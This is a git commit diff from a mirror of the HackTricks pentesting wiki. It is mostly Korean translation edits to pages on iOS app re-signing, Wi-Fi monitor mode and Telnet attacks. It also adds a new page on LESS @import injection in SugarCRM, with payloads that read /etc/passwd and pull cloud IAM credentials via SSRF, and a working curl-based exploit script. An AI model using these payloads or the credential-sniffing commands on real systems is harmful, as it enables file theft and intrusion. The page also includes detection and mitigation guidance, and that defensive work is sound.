mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/pentesting-wifi/ena
This commit is contained in:
parent
ce03d6bbe8
commit
cff898aba5
@ -544,6 +544,7 @@
|
||||
|
||||
# 🕸️ Pentesting Web
|
||||
|
||||
- [Less Code Injection Ssrf](pentesting-web/less-code-injection-ssrf.md)
|
||||
- [Web Vulnerabilities Methodology](pentesting-web/web-vulnerabilities-methodology.md)
|
||||
- [Reflecting Techniques - PoCs and Polygloths CheatSheet](pentesting-web/pocs-and-polygloths-cheatsheet/README.md)
|
||||
- [Web Vulns List](pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md)
|
||||
|
@ -22,8 +22,8 @@
|
||||
* NexMon Magisk ZIP 또는 다음을 제공하는 자체 컴파일된 패치:
|
||||
* `/system/lib*/libnexmon.so`
|
||||
* `/system/xbin/nexutil`
|
||||
* Hijacker ≥ 1.7 (arm/arm64) – https://github.com/chrisk44/Hijacker
|
||||
* (선택 사항) 무선 도구를 실행할 Linux chroot인 Kali NetHunter 또는 기타
|
||||
* Hijacker ≥ 1.7 (arm/arm64) – [https://github.com/chrisk44/Hijacker](https://github.com/chrisk44/Hijacker)
|
||||
* (선택 사항) Kali NetHunter 또는 무선 도구를 실행할 Linux chroot
|
||||
|
||||
---
|
||||
|
||||
@ -53,7 +53,7 @@ nexutil -m0; svc wifi enable
|
||||
```
|
||||
“Start monitor mode on airodump start”를 활성화하여 모든 Hijacker 스캔이 기본 모니터 모드(`wlan0` 대신 `wlan0mon`)에서 발생하도록 합니다.
|
||||
|
||||
Hijacker가 시작 시 오류를 표시하면 공유 저장소에 필요한 디렉토리를 생성하고 앱을 다시 엽니다:
|
||||
Hijacker가 시작 시 오류를 표시하면, 공유 저장소에 필요한 디렉토리를 생성하고 앱을 다시 엽니다:
|
||||
```bash
|
||||
mkdir -p /storage/emulated/0/Hijacker
|
||||
```
|
||||
@ -61,7 +61,7 @@ mkdir -p /storage/emulated/0/Hijacker
|
||||
* **`-s0x613`** 펌웨어 변수 0x613 (FCAP_FRAME_INJECTION)을 `1`로 설정 (임의 프레임의 TX 활성화).
|
||||
* **`-i`** 인터페이스를 모니터 모드로 설정 (radiotap 헤더가 앞에 추가됨).
|
||||
* **`-v2`** 상세 레벨 설정; `2`는 확인 및 펌웨어 버전을 출력.
|
||||
* **`-m0`** 관리 모드로 복원 ( *disable* 명령에서 사용됨).
|
||||
* **`-m0`** 관리 모드 복원 (*disable* 명령에서 사용됨).
|
||||
|
||||
*Enable monitor mode*를 실행한 후 인터페이스가 모니터 상태에 있어야 하며, 다음을 사용하여 원시 프레임을 캡처할 수 있어야 합니다:
|
||||
```bash
|
||||
|
@ -4,12 +4,11 @@
|
||||
|
||||
## Main idea
|
||||
|
||||
**`get_task_allow`** 권한으로 서명된 애플리케이션은 타사 애플리케이션이 **`task_for_pid()`**라는 함수를 초기 애플리케이션의 프로세스 ID를 인수로 사용하여 실행할 수 있도록 허용하여 해당 작업 포트를 얻을 수 있게 합니다(제어하고 메모리에 접근할 수 있게 됨).
|
||||
**`get_task_allow`** 권한으로 서명된 애플리케이션은 타사 애플리케이션이 **`task_for_pid()`**라는 함수를 초기 애플리케이션의 프로세스 ID를 인수로 사용하여 실행할 수 있도록 허용하여 해당 작업 포트를 얻고(제어하고 메모리에 접근할 수 있게) 합니다.
|
||||
|
||||
하지만 IPA를 가져와서 권한으로 재서명한 후 장치에 다시 플래시하는 것만으로는 쉽지 않습니다. 이는 FairPlay 보호 때문입니다. 앱의 서명이 변경되면 DRM(디지털 권리 관리) 키가 **무효화되어 앱이 작동하지 않습니다**.
|
||||
|
||||
구형 탈옥된 장치에서는 IPA를 설치하고, **좋아하는 도구**(예: Iridium 또는 frida-ios-dump)를 사용하여 복호화한 후 장치에서 다시 가져올 수 있습니다. 그러나 가능하다면 복호화된 IPA를 클라이언트에게 요청하는 것이 좋습니다.
|
||||
하지만 IPA를 가져와서 권한으로 재서명한 후 장치에 다시 플래시하는 것은 그리 간단하지 않습니다. 이는 FairPlay 보호 때문입니다. 앱의 서명이 변경되면 DRM(디지털 권리 관리) 키가 **무효화되어 앱이 작동하지 않습니다**.
|
||||
|
||||
구형 탈옥된 장치에서는 IPA를 설치하고, **좋아하는 도구**(예: Iridium 또는 frida-ios-dump)를 사용하여 복호화한 후 장치에서 다시 가져오는 것이 가능합니다. 그러나 가능하다면 복호화된 IPA를 클라이언트에게 요청하는 것이 좋습니다.
|
||||
|
||||
## Obtain decrypted IPA
|
||||
|
||||
@ -19,23 +18,22 @@
|
||||
2. macOS에서 [Apple Configurator](https://apps.apple.com/au/app/apple-configurator/id1037126344?mt=12)를 설치하고 실행합니다.
|
||||
3. Mac에서 `Terminal`을 열고 `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`로 이동합니다. 나중에 이 폴더에 IPA가 나타납니다.
|
||||
4. iOS 장치가 표시되어야 합니다. 더블 클릭한 후 상단 메뉴 바에서 Add + → Apps를 클릭합니다.
|
||||
5. Add를 클릭하면 Configurator가 Apple에서 IPA를 다운로드하고 장치에 푸시하려고 시도합니다. 이전에 제 권고를 따르고 IPA를 이미 설치했다면 앱을 재설치하라는 프롬프트가 나타납니다.
|
||||
5. Add를 클릭하면 Configurator가 Apple에서 IPA를 다운로드하고 장치에 푸시하려고 시도합니다. 이전에 제 권장 사항을 따르고 IPA를 이미 설치했다면 앱을 재설치하라는 프롬프트가 나타납니다.
|
||||
6. IPA는 `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`에 다운로드되어 있으며, 여기서 가져올 수 있습니다.
|
||||
|
||||
이 프로세스에 대한 더 자세한 정보는 [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed)를 확인하세요.
|
||||
|
||||
|
||||
### Decrypting the app
|
||||
|
||||
IPA를 복호화하기 위해 설치할 것입니다. 그러나 구형 탈옥된 iPhone이 있는 경우, 애플리케이션에서 지원하지 않을 가능성이 높습니다. 일반적으로 앱은 최신 버전만 지원합니다.
|
||||
IPA를 복호화하기 위해 설치할 것입니다. 그러나 구형 탈옥된 iPhone이 있는 경우, 애플리케이션에서 지원하지 않을 수 있는 버전일 가능성이 높습니다. 일반적으로 앱은 최신 버전만 지원합니다.
|
||||
|
||||
따라서 설치하려면 IPA를 압축 해제하세요:
|
||||
```bash
|
||||
unzip redacted.ipa -d unzipped
|
||||
```
|
||||
`Info.plist`에서 최소 지원 버전을 확인하고, 기기가 그보다 오래된 경우 값을 변경하여 지원되도록 합니다.
|
||||
`Info.plist`에서 최소 지원 버전을 확인하고, 기기가 그보다 오래된 경우 값을 변경하여 지원되도록 하십시오.
|
||||
|
||||
IPA를 다시 압축합니다:
|
||||
IPA를 다시 압축하십시오:
|
||||
```bash
|
||||
cd unzipped
|
||||
zip -r ../no-min-version.ipa *
|
||||
@ -51,7 +49,7 @@ Cydia에서 **AppSync Unified tweak**가 필요할 수 있으니 `invalid signat
|
||||
|
||||
### 권한 패치 및 재서명
|
||||
|
||||
`get-task-allow` 권한으로 애플리케이션을 재서명하기 위해 `app-signer`, `codesign`, `iResign`과 같은 여러 도구가 있습니다. `app-signer`는 재서명할 IPA 파일을 지정하고, **`get-taks-allow`**를 설정하며 사용할 인증서와 프로비저닝 프로필을 쉽게 지정할 수 있는 매우 사용자 친화적인 인터페이스를 제공합니다.
|
||||
`get-task-allow` 권한으로 애플리케이션을 재서명하기 위해 `app-signer`, `codesign`, `iResign`과 같은 여러 도구를 사용할 수 있습니다. `app-signer`는 재서명할 IPA 파일을 지정하고 **`get-task-allow`**를 설정하며 사용할 인증서와 프로비저닝 프로필을 쉽게 지정할 수 있는 매우 사용자 친화적인 인터페이스를 제공합니다.
|
||||
|
||||
인증서 및 서명 프로필에 관해서는 Apple이 Xcode를 통해 모든 계정에 **무료 개발자 서명 프로필**을 제공합니다. 앱을 생성하고 하나를 구성하세요. 그런 다음, `Settings` → `Privacy & Security`로 이동하여 **개발자 앱을 신뢰하도록 iPhone을 구성**하세요. `Developer Mode`를 클릭합니다.
|
||||
|
||||
@ -63,13 +61,13 @@ ideviceinstaller -i resigned.ipa -w
|
||||
|
||||
### 개발자 모드 활성화 (iOS 16+)
|
||||
|
||||
iOS 16부터 Apple은 **개발자 모드**를 도입했습니다: `get_task_allow`를 포함하거나 개발 인증서로 서명된 이진 파일은 장치에서 개발자 모드가 활성화될 때까지 실행을 거부합니다. 이 플래그가 켜져 있지 않으면 Frida/LLDB를 연결할 수 없습니다.
|
||||
iOS 16부터 Apple은 **개발자 모드**를 도입했습니다: `get_task_allow`를 포함하거나 개발 인증서로 서명된 모든 바이너리는 장치에서 개발자 모드가 활성화될 때까지 실행을 거부합니다. 이 플래그가 켜져 있지 않으면 Frida/LLDB를 연결할 수 없습니다.
|
||||
|
||||
1. **임의의** 개발자 서명 IPA를 전화기에 설치하거나 푸시합니다.
|
||||
2. **설정 → 개인 정보 보호 및 보안 → 개발자 모드**로 이동하여 활성화합니다.
|
||||
3. 장치가 재부팅됩니다; 암호를 입력한 후 **개발자 모드 켜기**를 요청받습니다.
|
||||
|
||||
개발자 모드는 비활성화하거나 전화기를 초기화할 때까지 활성 상태로 유지되므로 이 단계는 장치당 한 번만 수행하면 됩니다. [Apple 문서](https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device)에서는 보안 의미를 설명합니다.
|
||||
개발자 모드는 비활성화하거나 전화기를 초기화할 때까지 활성 상태로 유지되므로 이 단계는 장치당 한 번만 수행하면 됩니다. [Apple 문서](https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device)에서 보안 의미를 설명합니다.
|
||||
|
||||
### 현대적인 사이드로딩 옵션
|
||||
|
||||
@ -77,7 +75,7 @@ iOS 16부터 Apple은 **개발자 모드**를 도입했습니다: `get_task_allo
|
||||
|
||||
| 도구 | 요구 사항 | 강점 | 제한 사항 |
|
||||
|------|--------------|-----------|-------------|
|
||||
| **AltStore 2 / SideStore** | 매 7일마다 무료 개발 프로필로 IPA를 재서명하는 macOS/Windows/Linux 동반자 | Wi-Fi를 통한 자동 재로드, iOS 17까지 작동 | 동일 네트워크에 컴퓨터 필요, Apple에 의해 3개 앱 제한 |
|
||||
| **AltStore 2 / SideStore** | 매 7일마다 무료 개발 프로필로 IPA를 재서명하는 macOS/Windows/Linux 동반자 | Wi-Fi를 통한 자동 재로드, iOS 17까지 작동 | 동일 네트워크에 있는 컴퓨터 필요, Apple에 의해 3개 앱 제한 |
|
||||
| **TrollStore 1/2** | CoreTrust 버그에 취약한 iOS 14 – 15.4.1 장치 | *영구* 서명 (7일 제한 없음); 설치 후 컴퓨터 필요 없음 | iOS 15.5+에서 지원되지 않음 (버그 패치됨) |
|
||||
|
||||
현재 iOS 버전에서의 정기적인 펜테스트를 위해 Alt/Side-Store가 일반적으로 가장 실용적인 선택입니다.
|
||||
@ -96,7 +94,7 @@ frida -U -f com.example.target -l my_script.js --no-pause
|
||||
|
||||
### 탈옥 없이 MobSF를 이용한 자동화된 동적 분석
|
||||
|
||||
[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/)는 동일한 기술(`get_task_allow`)을 사용하여 실제 장치에서 개발자 서명된 IPA를 계측할 수 있으며, 파일 시스템 브라우저, 트래픽 캡처 및 Frida 콘솔이 포함된 웹 UI를 제공합니다【†L2-L3】. 가장 빠른 방법은 Docker에서 MobSF를 실행한 다음 USB를 통해 iPhone을 연결하는 것입니다:
|
||||
[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/)는 실제 장치에서 동일한 기술(`get_task_allow`)을 사용하여 개발자 서명된 IPA를 계측할 수 있으며, 파일 시스템 브라우저, 트래픽 캡처 및 Frida 콘솔이 포함된 웹 UI를 제공합니다【】. 가장 빠른 방법은 Docker에서 MobSF를 실행한 다음 USB를 통해 iPhone을 연결하는 것입니다:
|
||||
```bash
|
||||
docker pull opensecurity/mobile-security-framework-mobsf:latest
|
||||
docker run -p 8000:8000 --privileged \
|
||||
|
@ -25,9 +25,9 @@ nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>
|
||||
|
||||
[telnet RFC](https://datatracker.ietf.org/doc/html/rfc854)에서: TELNET 프로토콜에는 사용자가 더 정교한 (또는 아마도 단순히 다른) 규칙 집합을 사용하기로 동의할 수 있도록 "**DO, DON'T, WILL, WON'T**" 구조와 함께 사용될 수 있는 다양한 "**옵션**"이 있습니다. 이러한 옵션에는 문자 집합 변경, 에코 모드 변경 등이 포함될 수 있습니다.
|
||||
|
||||
**이 옵션을 열거하는 것이 가능하다는 것을 알고 있지만, 방법을 모르니 아는 경우 알려주세요.**
|
||||
**이 옵션을 열거하는 것이 가능하다는 것을 알고 있지만, 방법을 모르니 아는 분은 알려주세요.**
|
||||
|
||||
### [무차별 대입](../generic-hacking/brute-force.md#telnet)
|
||||
### [무작위 대입](../generic-hacking/brute-force.md#telnet)
|
||||
|
||||
## 구성 파일
|
||||
```bash
|
||||
@ -69,15 +69,15 @@ Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOS
|
||||
```
|
||||
### Recent Vulnerabilities (2022-2025)
|
||||
|
||||
* **CVE-2024-45698 – D-Link Wi-Fi 6 routers (DIR-X4860)**: 내장된 Telnet 서비스는 하드코딩된 자격 증명을 수용하고 입력을 정리하지 않아, 포트 23에서 조작된 명령을 통해 루트로 인증되지 않은 원격 RCE를 허용합니다. 펌웨어 ≥ 1.04B05에서 수정됨.
|
||||
* **CVE-2023-40478 – NETGEAR RAX30**: Telnet CLI `passwd` 명령에서 스택 기반 버퍼 오버플로우가 발생하여 인접한 공격자가 인증을 우회하고 루트로 임의 코드를 실행할 수 있게 합니다.
|
||||
* **CVE-2024-45698 – D-Link Wi-Fi 6 routers (DIR-X4860)**: 내장된 Telnet 서비스는 하드코딩된 자격 증명을 수용하고 입력을 정리하지 않아, 포트 23에서 조작된 명령을 통해 인증되지 않은 원격 RCE를 루트로 허용합니다. 펌웨어 ≥ 1.04B05에서 수정됨.
|
||||
* **CVE-2023-40478 – NETGEAR RAX30**: Telnet CLI `passwd` 명령에서 스택 기반 버퍼 오버플로우가 발생하여 인접한 공격자가 인증을 우회하고 루트로서 임의 코드를 실행할 수 있게 합니다.
|
||||
* **CVE-2022-39028 – GNU inetutils telnetd**: 두 바이트 시퀀스(`0xff 0xf7` / `0xff 0xf8`)가 NULL 포인터 역참조를 유발하여 `telnetd`를 충돌시킬 수 있으며, 여러 번의 충돌 후 지속적인 DoS를 초래합니다.
|
||||
|
||||
취약점 분류 중 이러한 CVE를 염두에 두십시오—대상이 패치되지 않은 펌웨어 또는 레거시 inetutils Telnet 데몬을 실행 중이라면 코드 실행 또는 방해가 되는 DoS로의 직선 경로가 있을 수 있습니다.
|
||||
취약점 분류 중 이러한 CVE를 염두에 두십시오. 대상이 패치되지 않은 펌웨어 또는 레거시 inetutils Telnet 데몬을 실행 중이라면 코드 실행 또는 방해가 되는 DoS로의 직선 경로가 있을 수 있습니다.
|
||||
|
||||
### Sniffing Credentials & Man-in-the-Middle
|
||||
|
||||
Telnet은 자격 증명을 포함한 모든 것을 **명확한 텍스트**로 전송합니다. 자격 증명을 캡처하는 두 가지 빠른 방법:
|
||||
Telnet은 자격 증명을 포함한 모든 것을 **명확한 텍스트**로 전송합니다. 이를 캡처하는 두 가지 빠른 방법:
|
||||
```bash
|
||||
# Live capture with tcpdump (print ASCII)
|
||||
sudo tcpdump -i eth0 -A 'tcp port 23 and not src host $(hostname -I | cut -d" " -f1)'
|
||||
@ -85,7 +85,7 @@ sudo tcpdump -i eth0 -A 'tcp port 23 and not src host $(hostname -I | cut -d" "
|
||||
# Wireshark display filter
|
||||
tcp.port == 23 && (telnet.data || telnet.option)
|
||||
```
|
||||
활성 MITM의 경우, ARP 스푸핑(예: `arpspoof`/`ettercap`)을 동일한 스니핑 필터와 결합하여 스위치 네트워크에서 비밀번호를 수집합니다.
|
||||
활성 MITM의 경우, ARP 스푸핑(e.g. `arpspoof`/`ettercap`)을 동일한 스니핑 필터와 결합하여 스위치 네트워크에서 비밀번호를 수집합니다.
|
||||
|
||||
### 자동화된 무차별 대입 / 비밀번호 스프레이링
|
||||
```bash
|
||||
@ -109,18 +109,18 @@ Metasploit에는 여러 유용한 모듈이 있습니다:
|
||||
* `auxiliary/scanner/telnet/telnet_encrypt_overflow` – 취약한 Solaris 9/10 Telnet에 대한 RCE (옵션 ENCRYPT 처리).
|
||||
* `exploit/linux/mips/netgear_telnetenable` – 많은 NETGEAR 라우터에서 조작된 패킷으로 telnet 서비스를 활성화합니다.
|
||||
|
||||
쉘을 얻은 후 **TTY는 일반적으로 멍청하다는 것을 기억하세요**; `python -c 'import pty;pty.spawn("/bin/bash")'`로 업그레이드하거나 [HackTricks TTY tricks](/generic-hacking/reverse-shells/full-ttys.md)를 사용하세요.
|
||||
쉘을 얻은 후 **TTY는 일반적으로 단순하다는 것을 기억하세요**; `python -c 'import pty;pty.spawn("/bin/bash")'`로 업그레이드하거나 [HackTricks TTY tricks](/generic-hacking/reverse-shells/full-ttys.md)를 사용하세요.
|
||||
|
||||
### Hardening & Detection (Blue team corner)
|
||||
|
||||
1. SSH를 선호하고 Telnet 서비스를 완전히 비활성화하세요.
|
||||
2. Telnet이 필요한 경우 관리 VLAN에만 바인딩하고 ACL을 적용하며 데몬을 TCP 래퍼로 감싸세요 (`/etc/hosts.allow`).
|
||||
3. 레거시 `telnetd` 구현을 `ssl-telnet` 또는 `telnetd-ssl`로 교체하여 전송 암호화를 추가하되, **이는 데이터 전송 중 보호만 제공하며 비밀번호 추측은 여전히 간단합니다**.
|
||||
4. 포트 23으로의 아웃바운드 트래픽을 모니터링하세요; 타협은 종종 엄격한 HTTP 이탈 필터를 우회하기 위해 Telnet을 통해 리버스 쉘을 생성합니다.
|
||||
4. 포트 23으로의 아웃바운드 트래픽을 모니터링하세요; 타협은 종종 엄격한 HTTP 이그레스 필터를 우회하기 위해 Telnet을 통해 리버스 쉘을 생성합니다.
|
||||
|
||||
## References
|
||||
|
||||
* D-Link Advisory – CVE-2024-45698 Critical Telnet RCE.
|
||||
* NVD – CVE-2022-39028 inetutils `telnetd` DoS.
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
75
src/pentesting-web/less-code-injection-ssrf.md
Normal file
75
src/pentesting-web/less-code-injection-ssrf.md
Normal file
@ -0,0 +1,75 @@
|
||||
# LESS Code Injection leading to SSRF & Local File Read
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## 개요
|
||||
|
||||
LESS는 변수, 믹스인, 함수 및 강력한 `@import` 지시어를 추가하는 인기 있는 CSS 전처리기입니다. 컴파일 중에 LESS 엔진은 **`@import`** 문에서 참조된 리소스를 **가져와서** `(inline)` 옵션이 사용될 때 결과 CSS에 그 내용을 포함합니다.
|
||||
|
||||
응용 프로그램이 **사용자 제어 입력**을 LESS 컴파일러에 의해 나중에 구문 분석되는 문자열에 연결할 때, 공격자는 **임의의 LESS 코드를 주입할 수 있습니다**. `@import (inline)`을 악용하여 공격자는 서버가 다음을 검색하도록 강제할 수 있습니다:
|
||||
|
||||
* `file://` 프로토콜을 통한 로컬 파일 (정보 유출 / 로컬 파일 포함).
|
||||
* 내부 네트워크 또는 클라우드 메타데이터 서비스의 원격 리소스 (SSRF).
|
||||
|
||||
이 기술은 **SugarCRM ≤ 14.0.0** (`/rest/v10/css/preview` 엔드포인트)와 같은 실제 제품에서 발견되었습니다.
|
||||
|
||||
## 악용
|
||||
|
||||
1. LESS 엔진에 의해 처리되는 스타일시트 문자열에 직접 포함된 매개변수를 식별합니다 (예: SugarCRM의 `?lm=`).
|
||||
2. 현재 문을 닫고 새로운 지시어를 주입합니다. 가장 일반적인 원시 요소는:
|
||||
* `;` – 이전 선언을 종료합니다.
|
||||
* `}` – 이전 블록을 닫습니다 (필요한 경우).
|
||||
3. `@import (inline) '<URL>';`를 사용하여 임의의 리소스를 읽습니다.
|
||||
4. 선택적으로 가져온 내용을 컴파일된 CSS에서 쉽게 추출할 수 있도록 가져오기 후에 **마커** (`data:` URI)를 주입합니다.
|
||||
|
||||
### 로컬 파일 읽기
|
||||
```
|
||||
1; @import (inline) 'file:///etc/passwd';
|
||||
@import (inline) 'data:text/plain,@@END@@'; //
|
||||
```
|
||||
`/etc/passwd`의 내용은 `@@END@@` 마커 바로 앞에 HTTP 응답에 나타납니다.
|
||||
|
||||
### SSRF – 클라우드 메타데이터
|
||||
```
|
||||
1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
|
||||
@import (inline) 'data:text/plain,@@END@@'; //
|
||||
```
|
||||
### 자동화된 PoC (SugarCRM 예제)
|
||||
```bash
|
||||
#!/usr/bin/env bash
|
||||
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd
|
||||
|
||||
TARGET="$1" # Base URL of SugarCRM instance
|
||||
RESOURCE="$2" # file:// path or URL to fetch
|
||||
|
||||
INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")
|
||||
|
||||
curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
|
||||
sed -n 's/.*@@END@@\(.*\)/\1/p'
|
||||
```
|
||||
## Detection
|
||||
|
||||
* 동적으로 생성된 `.less` 또는 `.css` 응답에서 비정제 쿼리 매개변수를 찾으십시오.
|
||||
* 코드 검토 중에 LESS 렌더 함수에 전달된 `"@media all { .preview { ... ${userInput} ... } }"`와 같은 구성을 검색하십시오.
|
||||
* 익스플로잇 시도에는 종종 `@import`, `(inline)`, `file://`, `http://169.254.169.254` 등이 포함됩니다.
|
||||
|
||||
## Mitigations
|
||||
|
||||
* 신뢰할 수 없는 데이터를 LESS 컴파일러에 전달하지 마십시오.
|
||||
* 동적 값이 필요한 경우, 적절하게 **이스케이프**/정제하십시오 (예: 숫자 토큰으로 제한, 화이트리스트).
|
||||
* 가능할 경우 `(inline)` 임포트를 사용할 수 있는 기능을 비활성화하거나 허용된 프로토콜을 `https`로 제한하십시오.
|
||||
* 종속성을 최신 상태로 유지하십시오 – SugarCRM은 13.0.4 및 14.0.1 버전에서 이 문제를 패치했습니다.
|
||||
|
||||
## Real-World Cases
|
||||
|
||||
| Product | Vulnerable Endpoint | Impact |
|
||||
|---------|--------------------|--------|
|
||||
| SugarCRM ≤ 14.0.0 | `/rest/v10/css/preview?lm=` | 인증되지 않은 SSRF 및 로컬 파일 읽기 |
|
||||
|
||||
## References
|
||||
|
||||
* [SugarCRM ≤ 14.0.0 (css/preview) LESS Code Injection Vulnerability](https://karmainsecurity.com/KIS-2025-04)
|
||||
* [SugarCRM Security Advisory SA-2024-059](https://support.sugarcrm.com/resources/security/sugarcrm-sa-2024-059/)
|
||||
* [CVE-2024-58258](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58258)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -2,6 +2,12 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
확인하십시오 **[https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)**
|
||||
Check **[https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)**
|
||||
|
||||
- SugarCRM ≤ 14.0.0 – LESS `@import` 주입이 `/rest/v10/css/preview`에서 인증되지 않은 SSRF 및 로컬 파일 읽기를 가능하게 합니다.
|
||||
|
||||
{{#ref}}
|
||||
../less-code-injection-ssrf.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user